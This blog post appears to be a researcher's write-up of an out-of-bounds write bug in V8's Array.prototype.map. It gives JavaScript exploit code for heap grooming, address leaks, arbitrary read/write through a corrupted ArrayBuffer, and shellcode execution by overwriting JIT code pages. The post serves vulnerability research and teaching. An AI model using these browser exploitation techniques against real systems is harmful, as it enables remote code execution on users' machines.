A few weeks ago, I discovered a vulnerability in V8 that turned out to be surprisingly easy to exploit. This post dives into this bug and how to exploit it.

The bug

Standard JavaScript builtin functions (such as Array.prototype.push) are implemented in V8 in various ways. More recently, builtins are implemented using an assembly-like language in C++ (CodeStubAssembler).

The CSA builtin implementation for Array.prototype.map contained a bug:

void GenerateIteratingArrayBuiltinBody(
    const char* name, const BuiltinResultGenerator& generator,
    const CallResultProcessor& processor, const PostLoopAction& action,
    const Callable& slow_case_continuation,
    ForEachDirection direction = ForEachDirection::kForward) {
  ...

  o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());

  ...

  GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), &not_js_array);
  merged_length.Bind(LoadJSArrayLength(o()));
  Goto(&has_length);

  ...

  BIND(&has_length);
  len_ = merged_length.value();

  ...

  a_.Bind(generator(this));
  HandleFastElements(processor, action, &slow, direction);
  ...

I’ve only included the relevant parts of the function. What’s happening here is essentially:

  1. o_ = this: The node o_ will be the this value for the Array.prototype.map call.
  2. len_ = o_.length: Load the array length and save it in len_.
  3. a_ = generator(): Call the generator function to create the JSArray that will hold the result of the map.
  4. HandleFastElements(...): Do the map operation by calling iterating on o_, calling processor on each value and writing the result to a_.

Now let’s take a look at the generator function which is responsible for creating the JSArray that will store the map results:

Node* MapResultGenerator() {
  // 5. Let A be ? ArraySpeciesCreate(O, len).
  return ArraySpeciesCreate(context(), o(), len_);
}

This calls:

Node* CodeStubAssembler::ArraySpeciesCreate(Node* context, Node* originalArray,
                                            Node* len) {
  // TODO(mvstanton): Install a fast path as well, which avoids the runtime
  // call.
  Node* constructor =
      CallRuntime(Runtime::kArraySpeciesConstructor, context, originalArray);
  return ConstructJS(CodeFactory::Construct(isolate()), context, constructor,
                     len);
}

Which calls the runtime (which calls v8::internal::Object::ArraySpeciesConstructor) to get the Array constructor specified in the Array[@@species] property of o_. This means that we can override the constructor with our own Array type.

If we override this to something like this:

class Array1 extends Array {
  constructor(len) {
      super(1);
  }
}

Then we can make the result array smaller than the expected len_.

Later on, in the processor function for the map operation:

  BranchIfFastJSArray(a(), context(), FastJSArrayAccessMode::ANY_ACCESS,
                      &fast, &runtime);
  BIND(&fast);
  {
    kind = EnsureArrayPushable(a(), &runtime);
    elements = LoadElements(a());
    GotoIf(IsElementsKindGreaterThan(kind, FAST_HOLEY_SMI_ELEMENTS),
           &object_push_pre);
    TryStoreArrayElement(FAST_SMI_ELEMENTS, mode, &runtime, elements, k,
                         mappedValue);
    Goto(&finished);
  }

We will still take the fast path (passing the BranchIfFastJSArray check), leading to unchecked OOB writes. A full PoC can be found here.

Exploit

This bug is extremely powerful as it’s a non-linear overflow. Since Arrays in JavaScript can have holes, and Array.prototype.map skips indexes where there is a hole, this allows an attacker to overwrite values at a controlled offset.

V8 heap layout

Heap objects in V8 are stored in various “spaces”. When an object is first allocated, it’s done in the “new space”. Objects here are eventually moved to the “old space” during a scavenge. This post gives a good overview of the V8 GC (although I’m not sure how up to date it is).

Allocations in new space have a very interesting property: it works by simply reserving a bunch of pages and keeping an allocation pointer that is advanced every time an allocation is made.

If we keep allocations under 512KB, we can avoid scavenges (which will move objects around and to the old space), and thus be able to exploit a very deterministic heap layout.

From here, the path to an exploit is clear:

  1. Turn the OOB write into an OOB read/write, and then arbitrary read/write by manipulating JavaScript objects.
  2. Overwrite the code pages of a JITed function (JIT pages in V8 are RWX).
  3. Call the function to execute shellcode.

Object layout

All objects in V8 inherit the v8::internal::Object class. All objects, except for small integers (Smis) are represented as pointers to memory allocated in the V8 heap.

To distinguish between Smis and HeapObjects, pointers are tagged – HeapObject pointers have the least significant bit set. On a 64-bit system, Smis can be used to represent 32-bit signed integers.

JSArray

Arrays in V8 are represented by the v8::internal::JSArray class, and have the following layout (all object layouts assume 64-bit):

 0x0|-------------------------
    |kMapOffset
 0x8|-------------------------
    |kPropertiesOffset
0x10|-------------------------
    |kElementsOffset
0x18|-------------------------
    |kLengthOffset
0x20|-------------------------

These have a pointer to a variable sized v8::internal::FixedArray or a v8::internal::FixedDoubleArray (in the kElementsOffset field), which holds the actual elements:

 0x0|-------------------------
    |kMapOffset
 0x8|-------------------------
    |kLengthOffset
0x10|-------------------------
    |element 0
0x18|-------------------------
    |element 1
0x20|-------------------------
    |element 2
0x28|-------------------------
    |...
    |-------------------------

JSArrayBuffer

ArrayBuffers are represented by v8::internal::JSArrayBuffer and look like:

 0x0|-------------------------
    |kMapOffset
 0x8|-------------------------
    |kPropertiesOffset
0x10|-------------------------
    |kElementsOffset
0x18|-------------------------
    |kByteLengthOffset
0x20|-------------------------
    |kBackingStoreOffset
0x28|-------------------------
    |kAllocationBaseOffset
0x30|-------------------------
    |kAllocationLengthOffset
0x38|-------------------------
    |kBitFieldSlot
0x40|-------------------------

Crafting the heap and getting OOB read/write

We start by crafting the heap layout so that it looks like this:

================================================================================
|a_ BuggyArray (0x80) | a_ FixedArray (0x18) | oob_rw JSArray (0x30)           |
--------------------------------------------------------------------------------
|oob_rw FixedDoubleArray (0x20) | leak JSArray (0x30) | leak FixedArray (0x18) |
--------------------------------------------------------------------------------
|arb_rw ArrayBuffer |
================================================================================

by implementing the constructor of a BuggyArray like so:

var code = function() {
  return 1;
}
code();

class BuggyArray extends Array {
  constructor(len) {
    super(1);
    oob_rw = new Array(1.1, 1.1);
    leak = new Array(code);
    arb_rw = new ArrayBuffer(4);
  }
};

We then call Array.prototype.map on an Array whose species constructor is BuggyArray to overwrite the length fields of oob_rw’s JSArray and its FixedArray (indexes 4 and 8 according to our heap layout) to 1000000.

var myarray = new MyArray();
myarray.length = 9;
myarray[4] = 42;
myarray[8] = 42;

myarray.map(function(x) { return 1000000; }

Getting the address of a JITed function

oob_rw is a JSArray with a FixedDoubleArray backing store, and now allows us to both read and write 64-bit values (as doubles) past its bounds. We couldn’t have used a non-double JSArray because values would be interpreted as object pointers and Smis.

To convert double values to unsigned 64-bit integers so that we can do integer arithmetic, we can use TypedArrays:

var convert_buf = new ArrayBuffer(8);
var float64 = new Float64Array(convert_buf);
var uint8 = new Uint8Array(convert_buf);
var uint32 = new Uint32Array(convert_buf);

function Uint64Add(dbl, to_add_int) {
  float64[0] = dbl;
  var lower_add = uint32[0] + to_add_int;
  if (lower_add > 0xffffffff) {
    lower_add &= 0xffffffff;
    uint32[1] += 1;
  }

  uint32[0] = lower_add;
  return float64[0];
}

Using this, we then leak the address of the v8::internal::JSFunction stored in the leak JSArray.

var js_function_addr = oob_rw[10];  // JSFunction for code() in the `leak` FixedArray.

To get arbitrary read/write, we use an ArrayBuffer (arb_rw) and overwrite its backing store pointer. We set this to the JSFunction to leak its v8::internal::Code object address.

// Set arb_rw's kByteLengthOffset to something big.
uint32[0] = 0;
uint32[1] = 1000000;
oob_rw[14] = float64[0];
// Set arb_rw's kBackingStoreOffset to
// js_function_addr + JSFunction::kCodeEntryOffset - 1
// (to get rid of Object tag)
oob_rw[15] = Uint64Add(js_function_addr, 56-1);

var js_function_uint32 = new Uint32Array(arb_rw);
uint32[0] = js_function_uint32[0];
uint32[1] = js_function_uint32[1];

Shellcode execution

Finally, we set the arb_rw backing store pointer to v8::internal::Code + Code::kHeaderSize so that we may write our shellcode.

oob_rw[15] = Uint64Add(float64[0], 128); // 128 = code header size
var shellcode = new Uint32Array(arb_rw);

shellcode[0] = ...;
shellcode[1] = ...;

code();

When we call code, we run our shellcode. The full exploit (for Linux, tested on Chrome 60.0.3080.5 with --no-sandbox) is here, and does a DISPLAY=:0 /usr/bin/xcalc. Making it work on Windows should just be a matter of changing the shellcode.

Concluding notes

This bug turned out to be extremely easy to exploit because of a number of factors:

  • non-linear OOB write lets us avoid corrupting important pointers while overwriting fields.
  • the new space allocator has very deterministic behaviour.
  • JIT code pages are RWX.

Had this OOB write been a linear overflow, exploiting this on its own would be a lot more challenging since writes will at the very least overwrite the map pointer in the subsequent object.

Luckily, this bug was discovered a few days after it was introduced, and fixed within a week, so it never made it to any stable or beta releases of Chrome.

I might do a few more posts in the future with some writeups of more interesting exploits.